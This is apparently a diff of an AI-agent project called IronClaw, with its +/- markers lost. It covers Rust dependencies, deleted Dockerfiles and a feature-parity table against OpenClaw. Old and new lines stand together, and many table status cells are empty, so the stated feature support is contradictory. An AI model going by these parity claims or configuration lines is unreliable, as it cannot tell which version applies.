rust_decimal = { version = "1", features = ["serde", "serde-with-str", "db-tokio-postgres", "maths"] }
rust_decimal_macros = "1"
# Async traits
@@ -85,36 +53,25 @@ clap = { version = "4", features = ["derive", "env"] }
# Terminal
crossterm = "0.28"
rustyline = { version = "17", features = ["custom-bindings", "derive", "with-file-history"] }
rustyline = { version = "17", features = ["derive", "with-file-history"] }
termimad = "0.34"
# Channel integrations
axum = { version = "0.8", features = ["ws"] }
tower = "0.5"
tower-http = { version = "0.6", features = ["trace", "cors", "set-header"] }
# Cron scheduling for routines
cron = "0.13"
tower-http = { version = "0.6", features = ["trace", "cors"] }
# Safety/sanitization
regex = "1"
aho-corasick = "1"
# YAML parsing for SKILL.md frontmatter
serde_yml = "0.0.12"
# Filesystem paths
dirs = "6"
fs4 = "0.6"
# Semantic versioning
semver = "1"
# Secrecy for sensitive values
secrecy = { version = "0.10", features = ["serde"] }
# URL parsing and encoding
url = "2"
# URL encoding for OAuth flow
urlencoding = "2"
# Open URLs in browser
@@ -122,7 +79,7 @@ open = "5"
# Vector embeddings for semantic search
# The postgres feature provides ToSql/FromSql for postgres-types (shared by tokio-postgres)
pgvector = { version = "0.4", features = ["postgres"], optional = true }
pgvector = { version = "0.4", features = ["postgres"] }
# WASM sandbox for untrusted tool execution
wasmtime = { version = "28", features = ["component-model"] }
@@ -132,41 +89,19 @@ wasmparser = "0.220" # WASM binary parsing for validation
# Cryptography for secrets management
aes-gcm = "0.10"
hkdf = "0.12"
hmac = "0.12"
sha2 = "0.10"
blake3 = "1"
rand = "0.8"
subtle = "2" # Constant-time comparisons for token validation
# Multi-provider LLM support
rig-core = "0.30"
# Docker sandbox
bollard = "0.18"
# Archive extraction for WASM extension bundles
flate2 = "1"
tar = "0.4"
# Document text extraction
pdf-extract = "0.7"
zip = { version = "2", default-features = false, features = ["deflate"] }
# HTTP proxy for sandboxed network access
hyper = { version = "1.5", features = ["server", "http1", "http2"] }
hyper-util = { version = "0.1", features = ["server", "tokio", "http1", "http2"] }
http-body-util = "0.1"
bytes = "1"
base64 = "0.22.1"
mime_guess = "2.0.5"
clap_complete = "4.5.0"
lru = "0.16.3"
# HTML to Markdown conversion (feature gated)
html-to-markdown-rs = { version = "2.3", optional = true }
readabilityrs = { version = "0.1.2", optional = true }
ed25519-dalek = { version = "2.2.0", features = ["std"] }
hex = "0.4.3"
# macOS keychain
[target.'cfg(target_os = "macos")'.dependencies]
@@ -179,75 +114,11 @@ zbus = "4"
[dev-dependencies]
tokio-test = "0.4"
tracing-test = "0.2"
tokio-tungstenite = "0.26"
testcontainers-modules = { version = "0.11", features = ["postgres"] }
pretty_assertions = "1"
tempfile = "3"
insta = "1.46.3"
[features]
default = ["postgres", "libsql", "html-to-markdown"]
postgres = [
"dep:deadpool-postgres",
"dep:tokio-postgres",
"dep:tokio-postgres-rustls",
"dep:rustls",
"dep:rustls-native-certs",
"dep:postgres-types",
"dep:refinery",
"dep:pgvector",
"rust_decimal/db-tokio-postgres",
]
libsql = ["dep:libsql"]
default = []
integration = []
html-to-markdown = ["dep:html-to-markdown-rs", "dep:readabilityrs"]
[[test]]
name = "html_to_markdown"
required-features = ["html-to-markdown"]
# The profile that 'cargo dist' will build with
[profile.dist]
inherits = "release"
lto = "thin"
# Config for 'dist'
[workspace.metadata.dist]
# The preferred dist version to use in CI (Cargo.toml SemVer syntax)
cargo-dist-version = "0.30.3"
# Ignore out-of-date generated CI so custom release.yml jobs are allowed
allow-dirty = ["ci"]
# CI backends to support
ci = "github"
# The installers to generate for each app
installers = ["shell", "powershell", "npm", "msi"]
# Publish jobs to run in CI
publish-jobs = []
# Target platforms to build apps for (Rust target-triple syntax)
targets = [
"aarch64-apple-darwin",
"aarch64-unknown-linux-gnu",
"x86_64-apple-darwin",
"x86_64-unknown-linux-gnu",
"x86_64-pc-windows-msvc",
]
# The archive format to use for windows builds (defaults .zip)
windows-archive = ".tar.gz"
# The archive format to use for non-windows builds (defaults .tar.xz)
unix-archive = ".tar.gz"
# Which actions to run on pull requests
pr-run-mode = "skip"
# Path that installers should place binaries in
install-path = "CARGO_HOME"
# Whether to install an updater program
install-updater = true
# Cache intermediate build artifacts to speed up the release pipelines
cache-builds = true
[workspace.metadata.dist.github-custom-runners]
aarch64-unknown-linux-gnu = "ubuntu-24.04-arm"
x86_64-unknown-linux-gnu = "ubuntu-22.04"
x86_64-pc-windows-msvc = "windows-2022"
x86_64-apple-darwin = "macos-15-intel"
aarch64-apple-darwin = "macos-14"
-53
View File
@@ -1,53 +0,0 @@
# Multi-stage Dockerfile for the IronClaw agent (cloud deployment).
#
# Build:
# docker build --platform linux/amd64 -t ironclaw:latest .
#
# Run:
# docker run --env-file .env -p 3000:3000 ironclaw:latest
# Stage 1: Build
FROM rust:1.92-slim-bookworm AS builder
RUN apt-get update && apt-get install -y --no-install-recommends \
pkg-config libssl-dev cmake gcc g++ \
&& rm -rf /var/lib/apt/lists/* \
&& rustup target add wasm32-wasip2 \
&& cargo install wasm-tools
WORKDIR /app
# Copy manifests first for layer caching
COPY Cargo.toml Cargo.lock ./
# Copy source, build script, tests, and supporting directories
COPY build.rs build.rs
COPY src/ src/
COPY tests/ tests/
COPY migrations/ migrations/
COPY registry/ registry/
COPY channels-src/ channels-src/
COPY wit/ wit/
COPY providers.json providers.json
RUN cargo build --release --bin ironclaw
# Stage 2: Runtime
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates libssl3 \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /app/target/release/ironclaw /usr/local/bin/ironclaw
COPY --from=builder /app/migrations /app/migrations
# Non-root user
RUN useradd -m -u 1000 -s /bin/bash ironclaw
USER ironclaw
EXPOSE 3000
ENV RUST_LOG=ironclaw=info
ENTRYPOINT ["ironclaw"]
-57
View File
@@ -1,57 +0,0 @@
# Lightweight test Dockerfile for IronClaw web gateway testing.
#
# Build:
# docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test .
#
# Run (each on a different port):
# docker run --rm -p 3003:3003 ironclaw-test
# docker run --rm -p 3004:3003 ironclaw-test
# docker run --rm -p 3005:3003 ironclaw-test
# Stage 1: Build (libsql only — no PostgreSQL dependency)
FROM rust:1.92-slim-bookworm AS builder
RUN apt-get update && apt-get install -y --no-install-recommends \
pkg-config libssl-dev cmake gcc g++ \
&& rm -rf /var/lib/apt/lists/* \
&& rustup target add wasm32-wasip2 \
&& cargo install wasm-tools
WORKDIR /app
COPY Cargo.toml Cargo.lock ./
COPY build.rs build.rs
COPY src/ src/
COPY tests/ tests/
COPY migrations/ migrations/
COPY registry/ registry/
COPY channels-src/ channels-src/
COPY wit/ wit/
RUN cargo build --release --no-default-features --features libsql --bin ironclaw
# Stage 2: Runtime
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates libssl3 \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /app/target/release/ironclaw /usr/local/bin/ironclaw
RUN useradd -m -u 1000 -s /bin/bash ironclaw
USER ironclaw
WORKDIR /home/ironclaw
EXPOSE 3003
ENV RUST_LOG=ironclaw=info \
GATEWAY_ENABLED=true \
GATEWAY_HOST=0.0.0.0 \
GATEWAY_PORT=3003 \
GATEWAY_AUTH_TOKEN=test \
DATABASE_BACKEND=libsql \
LIBSQL_PATH=/home/ironclaw/test.db \
SANDBOX_ENABLED=false
ENTRYPOINT ["ironclaw", "--no-onboard"]
-69
View File
@@ -1,69 +0,0 @@
# Multi-stage Dockerfile for the IronClaw worker container.
#
# This image runs the ironclaw binary in worker mode inside Docker containers.
# The orchestrator creates instances of this image for sandboxed job execution.
#
# Build:
# docker build -f Dockerfile.worker -t ironclaw-worker .
#
# The image includes common development tools so workers can build software,
# run tests, and execute shell commands.
FROM rust:1.92-bookworm AS builder
WORKDIR /build
COPY . .
# Build only the ironclaw binary (release mode)
RUN cargo build --release --bin ironclaw
# ---
FROM debian:bookworm-slim
# Install curl first (needed to fetch the GitHub CLI GPG key), then add the
# gh CLI apt repository, then install all remaining dev tools in one layer.
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates curl \
&& curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg \
| dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" \
> /etc/apt/sources.list.d/github-cli.list \
&& apt-get update && apt-get install -y --no-install-recommends \
git \
build-essential \
pkg-config \
libssl-dev \
nodejs \
npm \
python3 \
python3-pip \
python3-venv \
gh \
&& rm -rf /var/lib/apt/lists/*
# Install Rust toolchain for the sandbox user
ENV RUSTUP_HOME=/usr/local/rustup \
CARGO_HOME=/usr/local/cargo \
PATH=/usr/local/cargo/bin:$PATH
RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --default-toolchain 1.92.0 \
&& chmod -R a+r /usr/local/rustup /usr/local/cargo
# Install Claude Code CLI (for claude-bridge mode)
RUN npm install -g @anthropic-ai/claude-code@latest
# Copy the binary
COPY --from=builder /build/target/release/ironclaw /usr/local/bin/ironclaw
# Create non-root user (UID 1000 matches the orchestrator's container config)
RUN useradd -m -u 1000 -s /bin/bash sandbox \
&& mkdir -p /workspace \
&& chown sandbox:sandbox /workspace \
&& mkdir -p /home/sandbox/.claude \
&& chown sandbox:sandbox /home/sandbox/.claude
USER sandbox
WORKDIR /workspace
# The orchestrator passes the full command via Docker cmd.
ENTRYPOINT ["ironclaw"]
+91 -230
View File
@@ -16,8 +16,8 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Feature | OpenClaw | IronClaw | Notes |
|---------|----------|----------|-------|
| Hub-and-spoke architecture | ✅ | | Web gateway as central hub |
| WebSocket control plane | ✅ | | Gateway with WebSocket + SSE |
| Hub-and-spoke architecture | ✅ | 🚧 | IronClaw has channels but no central gateway |
| WebSocket control plane | ✅ | | Gateway with ws://127.0.0.1:18789 |
| Single-user system | ✅ | ✅ | |
| Multi-agent routing | ✅ | ❌ | Workspace isolation per-agent |
| Session-based messaging | ✅ | ✅ | Per-sender sessions |
@@ -31,27 +31,20 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Feature | OpenClaw | IronClaw | Notes |
|---------|----------|----------|-------|
| Gateway control plane | ✅ | | Web gateway with 40+ API endpoints |
| HTTP endpoints for Control UI | ✅ | | Web dashboard with chat, memory, jobs, logs, extensions |
| Channel connection lifecycle | ✅ | | ChannelManager + WebSocket tracker |
| Gateway control plane | ✅ | | Central WebSocket server |
| HTTP endpoints for Control UI | ✅ | | Web dashboard |
| Channel connection lifecycle | ✅ | 🚧 | ChannelManager handles streams |
| Session management/routing | ✅ | ✅ | SessionManager exists |
| Configuration hot-reload | ✅ | ❌ | |
| Network modes (loopback/LAN/remote) | ✅ | 🚧 | HTTP only |
| OpenAI-compatible HTTP API | ✅ | | /v1/chat/completions, per-request `model` override |
| OpenAI-compatible HTTP API | ✅ | | /v1/chat/completions |
| Canvas hosting | ✅ | ❌ | Agent-driven UI |
| Gateway lock (PID-based) | ✅ | ❌ | |
| launchd/systemd integration | ✅ | ❌ | |
| Bonjour/mDNS discovery | ✅ | ❌ | |
| Tailscale integration | ✅ | ❌ | |
| Health check endpoints | ✅ | | /api/health + /api/gateway/status |
| Health check endpoints | ✅ | | |
| `doctor` diagnostics | ✅ | ❌ | |
| Agent event broadcast | ✅ | 🚧 | SSE broadcast manager exists (SseManager) but tool/job-state events not fully wired |
| Channel health monitor | ✅ | ❌ | Auto-restart with configurable interval |
| Presence system | ✅ | ❌ | Beacons on connect, system presence for agents |
| Trusted-proxy auth mode | ✅ | ❌ | Header-based auth for reverse proxies |
| APNs push pipeline | ✅ | ❌ | Wake disconnected iOS nodes via push |
| Oversized payload guard | ✅ | 🚧 | HTTP webhook has 64KB body limit + Content-Length check; no chat.history cap |
| Pre-prompt context diagnostics | ✅ | ❌ | Context size logging before prompt |
### Owner: _Unassigned_
@@ -65,65 +58,35 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| HTTP webhook | ✅ | ✅ | - | axum with secret validation |
| REPL (simple) | ✅ | ✅ | - | For testing |
| WASM channels | ❌ | ✅ | - | IronClaw innovation |
| WhatsApp | ✅ | ❌ | P1 | Baileys (Web), same-phone mode with echo detection |
| Telegram | ✅ | | - | WASM channel(MTProto), DM pairing, caption, /start, bot_username |
| Discord | ✅ | ❌ | P2 | discord.js, thread parent binding inheritance |
| Signal | ✅ | | P2 | signal-cli daemonPC, SSE listener HTTP/JSON-R, user/group allowlists, DM pairing |
| Slack | ✅ | | - | WASM tool |
| iMessage | ✅ | ❌ | P3 | BlueBubbles or Linq recommended |
| Linq | ✅ | ❌ | P3 | Real iMessage via API, no Mac required |
| Feishu/Lark | ✅ | ❌ | P3 | Bitable create app/field tools |
| WhatsApp | ✅ | ❌ | P1 | Baileys (Web) |
| Telegram | ✅ | | P1 | grammY (Bot API) |
| Discord | ✅ | ❌ | P2 | discord.js |
| Signal | ✅ | | P2 | signal-cli |
| Slack | ✅ | 🚧 | P1 | Stub exists, needs implementation |
| iMessage | ✅ | ❌ | P3 | BlueBubbles recommended |
| Feishu/Lark | ✅ | ❌ | P3 | |
| LINE | ✅ | ❌ | P3 | |
| WebChat | ✅ | | - | Web gateway chat |
| WebChat | ✅ | | P2 | Browser-based chat |
| Matrix | ✅ | ❌ | P3 | E2EE support |
| Mattermost | ✅ | ❌ | P3 | Emoji reactions |
| Mattermost | ✅ | ❌ | P3 | |
| Google Chat | ✅ | ❌ | P3 | |
| MS Teams | ✅ | ❌ | P3 | |
| Twitch | ✅ | ❌ | P3 | |
| Voice Call | ✅ | ❌ | P3 | Twilio/Telnyx, stale call reaper, pre-cached greeting |
| Voice Call | ✅ | ❌ | P3 | Twilio/Telnyx |
| Nostr | ✅ | ❌ | P3 | |
### Telegram-Specific Features (since Feb 2025)
| Feature | OpenClaw | IronClaw | Notes |
|---------|----------|----------|-------|
| Forum topic creation | ✅ | ❌ | Create topics in forum groups |
| channel_post support | ✅ | ❌ | Bot-to-bot communication |
| User message reactions | ✅ | ❌ | Surface inbound reactions |
| sendPoll | ✅ | ❌ | Poll creation via agent |
| Cron/heartbeat topic targeting | ✅ | ❌ | Messages land in correct topic |
### Discord-Specific Features (since Feb 2025)
| Feature | OpenClaw | IronClaw | Notes |
|---------|----------|----------|-------|
| Forwarded attachment downloads | ✅ | ❌ | Fetch media from forwarded messages |
| Faster reaction state machine | ✅ | ❌ | Watchdog + debounce |
| Thread parent binding inheritance | ✅ | ❌ | Threads inherit parent routing |
### Slack-Specific Features (since Feb 2025)
| Feature | OpenClaw | IronClaw | Notes |
|---------|----------|----------|-------|
| Streaming draft replies | ✅ | ❌ | Partial replies via draft message updates |
| Configurable stream modes | ✅ | ❌ | Per-channel stream behavior |
| Thread ownership | ✅ | ❌ | Thread-level ownership tracking |
### Channel Features
| Feature | OpenClaw | IronClaw | Notes |
|---------|----------|----------|-------|
| DM pairing codes | ✅ | | `ironclaw pairing list/approve`, host APIs |
| Allowlist/blocklist | ✅ | 🚧 | allow_from + pairing store |
| DM pairing codes | ✅ | | Verification for unknown senders |
| Allowlist/blocklist | ✅ | | Per-channel access control |
| Self-message bypass | ✅ | ❌ | Own messages skip pairing |
| Mention-based activation | ✅ | | bot_username + respond_to_all_group_messages |
| Mention-based activation | ✅ | | Configurable patterns |
| Per-group tool policies | ✅ | ❌ | Allow/deny specific tools |
| Thread isolation | ✅ | ✅ | Separate sessions per thread |
| Per-channel media limits | ✅ | | Attachment type in WIT; max 10 per msg, 20MB total, MIME allowlist |
| Typing indicators | ✅ | 🚧 | TUI + Telegram typing/actionable status prompts; richer parity pending |
| Per-channel ackReaction config | ✅ | ❌ | Customizable acknowledgement reactions |
| Group session priming | ✅ | ❌ | Member roster injected for context |
| Sender_id in trusted metadata | ✅ | ❌ | Exposed in system metadata |
| Per-channel media limits | ✅ | | |
| Typing indicators | ✅ | 🚧 | TUI shows status |
### Owner: _Unassigned_
@@ -136,21 +99,21 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| `run` (agent) | ✅ | ✅ | - | Default command |
| `tool install/list/remove` | ✅ | ✅ | - | WASM tools |
| `gateway start/stop` | ✅ | ❌ | P2 | |
| `onboard` (wizard) | ✅ | | - | Interactive setup |
| `onboard` (wizard) | ✅ | | P2 | Interactive setup |
| `tui` | ✅ | ✅ | - | Ratatui TUI |
| `config` | ✅ | | - | Read/write config |
| `config` | ✅ | | P2 | Read/write config |
| `channels` | ✅ | ❌ | P2 | Channel management |
| `models` | ✅ | 🚧 | - | Model selector in TUI |
| `status` | ✅ | | - | System status (enriched session details) |
| `status` | ✅ | | P2 | System status |
| `agents` | ✅ | ❌ | P3 | Multi-agent management |
| `sessions` | ✅ | ❌ | P3 | Session listing (shows subagent models) |
| `memory` | ✅ | | - | Memory search CLI |
| `skills` | ✅ | | - | Skills tools + web API endpoints (install, list, activate) |
| `pairing` | ✅ | | - | list/approve, account selector |
| `nodes` | ✅ | ❌ | P3 | Device management, remove/clear flows |
| `sessions` | ✅ | ❌ | P3 | Session listing |
| `memory` | ✅ | | P2 | Memory search CLI |
| `skills` | ✅ | | P3 | Agent skills |
| `pairing` | ✅ | | P3 | Node pairing |
| `nodes` | ✅ | ❌ | P3 | Device management |
| `plugins` | ✅ | ❌ | P3 | Plugin management |
| `hooks` | ✅ | | P2 | Lifecycle hooks |
| `cron` | ✅ | ❌ | P2 | Scheduled jobs (model/thinking fields in edit) |
| `hooks` | ✅ | | P2 | Lifecycle hooks |
| `cron` | ✅ | ❌ | P2 | Scheduled jobs |
| `webhooks` | ✅ | ❌ | P3 | Webhook config |
| `message send` | ✅ | ❌ | P2 | Send to channels |
| `browser` | ✅ | ❌ | P3 | Browser automation |
@@ -158,9 +121,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| `doctor` | ✅ | ❌ | P2 | Diagnostics |
| `logs` | ✅ | ❌ | P3 | Query logs |
| `update` | ✅ | ❌ | P3 | Self-update |
| `completion` | ✅ | | - | Shell completion |
| `/subagents spawn` | ✅ | ❌ | P3 | Spawn subagents from chat |
| `/export-session` | ✅ | ❌ | P3 | Export current session transcript |
| `completion` | ✅ | | P3 | Shell completion |
### Owner: _Unassigned_
@@ -171,38 +132,23 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Feature | OpenClaw | IronClaw | Notes |
|---------|----------|----------|-------|
| Pi agent runtime | ✅ | | IronClaw uses custom runtime |
| RPC-based execution | ✅ | | Orchestrator/worker pattern |
| Multi-provider failover | ✅ | | `FailoverProvider` tries providers sequentially on retryable errors |
| RPC-based execution | ✅ | 🚧 | Worker isolation |
| Multi-provider failover | ✅ | | Provider fallback chains |
| Per-sender sessions | ✅ | ✅ | |
| Global sessions | ✅ | ❌ | Optional shared context |
| Session pruning | ✅ | ❌ | Auto cleanup old sessions |
| Context compaction | ✅ | ✅ | Auto summarization |
| Post-compaction read audit | ✅ | ❌ | Layer 3: workspace rules appended to summaries |
| Post-compaction context injection | ✅ | ❌ | Workspace context as system event |
| Custom system prompts | ✅ | ✅ | Template variables, safety guardrails |
| Skills (modular capabilities) | ✅ | ✅ | Prompt-based skills with trust gating, attenuation, activation criteria, catalog, selector |
| Skill routing blocks | ✅ | 🚧 | ActivationCriteria (keywords, patterns, tags) but no "Use when / Don't use when" blocks |
| Skill path compaction | ✅ | ❌ | ~ prefix to reduce prompt tokens |
| Custom system prompts | ✅ | ✅ | Template variables |
| Skills (modular capabilities) | ✅ | ❌ | Capability bundles |
| Thinking modes (low/med/high) | ✅ | ❌ | Configurable reasoning depth |
| Per-model thinkingDefault override | ✅ | ❌ | Override thinking level per model |
| Block-level streaming | ✅ | ❌ | |
| Tool-level streaming | ✅ | ❌ | |
| Z.AI tool_stream | ✅ | ❌ | Real-time tool call streaming |
| Plugin tools | ✅ | ✅ | WASM tools |
| Tool policies (allow/deny) | ✅ | ✅ | |
| Exec approvals (`/approve`) | ✅ | ✅ | TUI approval overlay |
| Elevated mode | ✅ | ❌ | Privileged execution |
| Subagent support | ✅ | ✅ | Task framework |
| `/subagents spawn` command | ✅ | ❌ | Spawn from chat |
| Auth profiles | ✅ | ❌ | Multiple auth strategies |
| Generic API key rotation | ✅ | ❌ | Rotate keys across providers |
| Stuck loop detection | ✅ | ❌ | Exponential backoff on stuck agent loops |
| llms.txt discovery | ✅ | ❌ | Auto-discover site metadata |
| Multiple images per tool call | ✅ | ❌ | Single tool call, multiple images |
| URL allowlist (web_search/fetch) | ✅ | ❌ | Restrict web tool targets |
| suppressToolErrors config | ✅ | ❌ | Hide tool errors from user |
| Intent-first tool display | ✅ | ❌ | Details and exec summaries |
| Transcript file size in status | ✅ | ❌ | Show size in session status |
### Owner: _Unassigned_
@@ -213,22 +159,12 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Provider | OpenClaw | IronClaw | Priority | Notes |
|----------|----------|----------|----------|-------|
| NEAR AI | ✅ | ✅ | - | Primary provider |
| Anthropic (Claude) | ✅ | 🚧 | - | Via NEAR AI proxy; Opus 4.5, Sonnet 4, Sonnet 4.6 |
| Anthropic (Claude) | ✅ | 🚧 | - | Via NEAR AI proxy |
| OpenAI | ✅ | 🚧 | - | Via NEAR AI proxy |
| AWS Bedrock | ✅ | | P3 | Via `openai_compatible` adapter (e.g. LiteLLM) |
| Google Gemini | ✅ | | P3 | Via `gemini` adapter |
| io.net | ✅ | | P3 | Via `ionet` adapter |
| Mistral | ✅ | | P3 | Via `mistral` adapter |
| Yandex AI Studio | ✅ | ✅ | P3 | Via `yandex` adapter |
| Cloudflare Workers AI | ✅ | ✅ | P3 | Via `cloudflare` adapter |
| NVIDIA API | ✅ | ✅ | P3 | Via `nvidia` adapter and `providers.json` |
| OpenRouter | ✅ | ✅ | - | Via OpenAI-compatible provider (RigAdapter) |
| Tinfoil | ❌ | ✅ | - | Private inference provider (IronClaw-only) |
| OpenAI-compatible | ❌ | ✅ | - | Generic OpenAI-compatible endpoint (RigAdapter) |
| Ollama (local) | ✅ | ✅ | - | via `rig::providers::ollama` (full support) |
| Perplexity | ✅ | ❌ | P3 | Freshness parameter for web_search |
| MiniMax | ✅ | ❌ | P3 | Regional endpoint selection |
| GLM-5 | ✅ | ❌ | P3 | |
| AWS Bedrock | ✅ | | P3 | |
| Google Gemini | ✅ | | P3 | |
| OpenRouter | ✅ | | P3 | |
| Ollama (local) | ✅ | | P2 | Local models |
| node-llama-cpp | ✅ | | - | N/A for Rust |
| llama.cpp (native) | ❌ | 🔮 | P3 | Rust bindings |
@@ -237,12 +173,10 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Feature | OpenClaw | IronClaw | Notes |
|---------|----------|----------|-------|
| Auto-discovery | ✅ | ❌ | |
| Failover chains | ✅ | | `FailoverProvider` with configurable `fallback_model` |
| Cooldown management | ✅ | | Lock-free per-provider cooldown in `FailoverProvider` |
| Failover chains | ✅ | | Provider fallback |
| Cooldown management | ✅ | | Skip failed providers |
| Per-session model override | ✅ | ✅ | Model selector in TUI |
| Model selection UI | ✅ | ✅ | TUI keyboard shortcut |
| Per-model thinkingDefault | ✅ | ❌ | Override thinking level per model in config |
| 1M context beta header | ✅ | ❌ | Anthropic extended context support |
### Owner: _Unassigned_
@@ -252,32 +186,16 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Feature | OpenClaw | IronClaw | Priority | Notes |
|---------|----------|----------|----------|-------|
| WIT inbound-attachment type | N/A | ✅ | P1 | `inbound-attachment` record in channel-host (id, mime_type, filename, size_bytes, source_url, storage_key, extracted_text) |
| WIT outbound attachment type | N/A | ✅ | P1 | `attachment` record in channel (filename, mime_type, data) on `agent-response` |
| WIT on-broadcast export | N/A | ✅ | P1 | Proactive message sending without prior incoming message |
| IncomingMessage attachments | N/A | ✅ | P1 | `IncomingAttachment` struct on `IncomingMessage`, populated from WASM channels |
| OutgoingResponse attachments | N/A | ✅ | P1 | File paths on `OutgoingResponse`, read from disk and sent as WIT attachments |
| Attachment security (size/MIME) | N/A | ✅ | P1 | Inbound: max 10, 20MB total, MIME allowlist. Outbound: 50MB total |
| Telegram media parsing | ✅ | ✅ | P1 | Photo, document, audio, video, voice, sticker parsed and emitted as attachments |
| Telegram media sending | ✅ | ✅ | P1 | sendPhoto/sendDocument multipart upload, auto photo→document fallback >10MB |
| Slack file parsing | ✅ | ✅ | P1 | `files` array from Events API parsed into attachments |
| WhatsApp media parsing | ✅ | ✅ | P1 | Image, audio, video, document parsed with caption as extracted_text |
| Discord attachment parsing | ✅ | ❌ | P2 | Discord interaction payloads don't include file attachments (needs message events) |
| HTTP tool save_to | N/A | ✅ | P1 | Download binary files to /tmp/ for attachment sending (50MB limit, path traversal protection) |
| Credential env var fallback | N/A | ✅ | P2 | Channels can use env vars (e.g., TELEGRAM_BOT_TOKEN) when secrets store not configured |
| Image processing (Sharp) | ✅ | ❌ | P2 | Resize, format convert |
| Configurable image resize dims | ✅ | ❌ | P2 | Per-agent dimension config |
| Multiple images per tool call | ✅ | ❌ | P2 | Single tool invocation, multiple images |
| Audio transcription | ✅ | ❌ | P2 | |
| Video support | ✅ | ❌ | P3 | |
| PDF parsing | ✅ | ❌ | P2 | pdfjs-dist |
| MIME detection | ✅ | | P2 | MIME allowlist in host validates attachment types |
| MIME detection | ✅ | | P2 | |
| Media caching | ✅ | ❌ | P3 | |
| Vision model integration | ✅ | ❌ | P2 | Image understanding |
| TTS (Edge TTS) | ✅ | ❌ | P3 | Text-to-speech |
| TTS (OpenAI) | ✅ | ❌ | P3 | |
| Incremental TTS playback | ✅ | ❌ | P3 | iOS progressive playback |
| Sticker-to-image | ✅ | ✅ | P3 | Telegram stickers emitted as image/webp attachments |
| Sticker-to-image | ✅ | ❌ | P3 | Telegram stickers |
### Owner: _Unassigned_
@@ -295,13 +213,10 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Auth plugins | ✅ | ❌ | |
| Memory plugins | ✅ | ❌ | Custom backends |
| Tool plugins | ✅ | ✅ | WASM tools |
| Hook plugins | ✅ | | Declarative hooks from extension capabilities |
| Hook plugins | ✅ | | |
| Provider plugins | ✅ | ❌ | |
| Plugin CLI (`install`, `list`) | ✅ | ✅ | `tool` subcommand |
| ClawHub registry | ✅ | ❌ | Discovery |
| `before_agent_start` hook | ✅ | ❌ | modelOverride/providerOverride support |
| `before_message_write` hook | ✅ | ❌ | Pre-write message interception |
| `llm_input`/`llm_output` hooks | ✅ | ❌ | LLM payload inspection |
### Owner: _Unassigned_
@@ -320,7 +235,6 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Legacy migration | ✅ | | |
| State directory | ✅ `~/.openclaw-state/` | ✅ `~/.ironclaw/` | |
| Credentials directory | ✅ | ✅ | Session files |
| Full model compat fields in schema | ✅ | ❌ | pi-ai model compat exposed in config |
### Owner: _Unassigned_
@@ -333,19 +247,16 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Vector memory | ✅ | ✅ | pgvector |
| Session-based memory | ✅ | ✅ | |
| Hybrid search (BM25 + vector) | ✅ | ✅ | RRF algorithm |
| Temporal decay (hybrid search) | ✅ | ❌ | Opt-in time-based scoring factor |
| MMR re-ranking | ✅ | ❌ | Maximal marginal relevance for result diversity |
| LLM-based query expansion | ✅ | ❌ | Expand FTS queries via LLM |
| OpenAI embeddings | ✅ | ✅ | |
| Gemini embeddings | ✅ | ❌ | |
| Local embeddings | ✅ | ❌ | |
| SQLite-vec backend | ✅ | ❌ | IronClaw uses PostgreSQL |
| LanceDB backend | ✅ | ❌ | Configurable auto-capture max length |
| LanceDB backend | ✅ | ❌ | |
| QMD backend | ✅ | ❌ | |
| Atomic reindexing | ✅ | ✅ | |
| Embeddings batching | ✅ | | `embed_batch` on EmbeddingProvider trait |
| Embeddings batching | ✅ | | |
| Citation support | ✅ | ❌ | |
| Memory CLI commands | ✅ | | `memory search/read/write/tree/status` CLI subcommands |
| Memory CLI commands | ✅ | | `memory search/index/status` |
| Flexible path structure | ✅ | ✅ | Filesystem-like API |
| Identity files (AGENTS.md, etc.) | ✅ | ✅ | |
| Daily logs | ✅ | ✅ | |
@@ -361,16 +272,12 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|---------|----------|----------|----------|-------|
| iOS app (SwiftUI) | ✅ | 🚫 | - | Out of scope initially |
| Android app (Kotlin) | ✅ | 🚫 | - | Out of scope initially |
| Apple Watch companion | ✅ | 🚫 | - | Send/receive messages MVP |
| Gateway WebSocket client | ✅ | 🚫 | - | |
| Camera/photo access | ✅ | 🚫 | - | |
| Voice input | ✅ | 🚫 | - | |
| Push-to-talk | ✅ | 🚫 | - | |
| Location sharing | ✅ | 🚫 | - | |
| Node pairing | ✅ | 🚫 | - | |
| APNs push notifications | ✅ | 🚫 | - | Wake disconnected nodes before invoke |
| Share to OpenClaw (iOS) | ✅ | 🚫 | - | iOS share sheet integration |
| Background listening toggle | ✅ | 🚫 | - | iOS background audio |
### Owner: _Unassigned_ (if ever prioritized)
@@ -381,17 +288,12 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Feature | OpenClaw | IronClaw | Priority | Notes |
|---------|----------|----------|----------|-------|
| SwiftUI native app | ✅ | 🚫 | - | Out of scope |
| Menu bar presence | ✅ | 🚫 | - | Animated menubar icon |
| Menu bar presence | ✅ | 🚫 | - | |
| Bundled gateway | ✅ | 🚫 | - | |
| Canvas hosting | ✅ | 🚫 | - | Agent-controlled panel with placement/resizing |
| Voice wake | ✅ | 🚫 | - | Overlay, mic picker, language selection, live meter |
